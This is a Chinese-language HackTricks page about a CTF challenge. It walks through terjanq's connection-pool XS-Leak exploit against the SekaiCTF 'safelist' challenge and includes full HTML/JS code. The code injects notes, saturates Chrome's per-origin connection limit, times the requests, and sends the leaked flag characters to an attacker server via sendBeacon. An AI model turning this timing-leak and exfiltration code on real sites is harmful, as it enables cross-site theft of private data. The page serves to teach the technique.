hacktricks/pentesting-web/xs-search/connection-pool-by-destination-example.md

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# 连接池按目标示例
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<details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
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* 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中做广告**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
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</details>
在[**这个利用**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html)中,[**@terjanq**](https://twitter.com/terjanq)提出了另一种解决方案,用于下一页中提到的挑战:
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{% content-ref url="connection-pool-by-destination-example.md" %}
[connection-pool-by-destination-example.md](connection-pool-by-destination-example.md)
{% endcontent-ref %}
让我们看看这个利用是如何工作的:
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* 攻击者将注入一个带有尽可能多的**`<img`**标签加载**`/js/purify.js`**的注释超过6个以阻止来源)。
* 然后,攻击者将**删除**索引为1的**注释**。
* 然后,攻击者将\[使**机器人访问页面**以触发剩余注释\]并将发送一个对**`victim.com/js/purify.js`**的**请求**,然后将**计时**。
* 如果时间**更长**,则注入在**剩余注释**中,如果时间**更短**,则标志在其中。
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{% hint style="info" %}
说实话,阅读脚本时,我错过了**攻击者让机器人加载页面以触发img标签**的某些部分,我在代码中没有看到类似的内容
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{% endhint %}
```html
<html>
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<head>
<script>
const SITE_URL = 'https://safelist.ctf.sekai.team/';
const PING_URL = 'https://myserver';
function timeScript(){
return new Promise(resolve => {
var x = document.createElement('script');
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random();
var start = Date.now();
x.onerror = () => {
console.log(`Time: ${Date.now() - start}`); //Time request
resolve(Date.now() - start);
x.remove();
}
document.body.appendChild(x);
});
}
add_note = async (note) => {
let x = document.createElement('form')
x.action = SITE_URL + "create"
x.method = "POST"
x.target = "xxx"
let i = document.createElement("input");
i.type = "text"
i.name = "text"
i.value = note
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
remove_note = async (note_id) => {
let x = document.createElement('form')
x.action = SITE_URL+"remove"
x.method = "POST"
x.target = "_blank"
let i = document.createElement("input");
i.type = "text"
i.name = "index"
i.value = note_id
x.appendChild(i)
document.body.appendChild(x)
x.submit()
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
// }zyxwvutsrqponmlkjihgfedcba_
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_'
var prefix = 'SEKAI{xsleakyay';
const TIMEOUT = 500;
async function checkLetter(letter){
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');
await add_note(payload);
await sleep(TIMEOUT);
await timeScript();
await remove_note(1); //Now, only the note with the flag or with the injection existsh
await sleep(TIMEOUT);
const time = await timeScript(); //Find out how much a request to the same origin takes
navigator.sendBeacon(PING_URL, [letter,time]);
if(time>100){
return 1;
}
return 0;
}
window.onload = async () => {
navigator.sendBeacon(PING_URL, 'start');
// doesnt work because we are removing flag after success.
// while(1){
for(const letter of alphabet){
if(await checkLetter(letter)){
prefix += letter;
navigator.sendBeacon(PING_URL, prefix);
break;
}
}
// }
};
</script>
</head>
<body>
</body>
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</html>
```
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
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* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
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</details>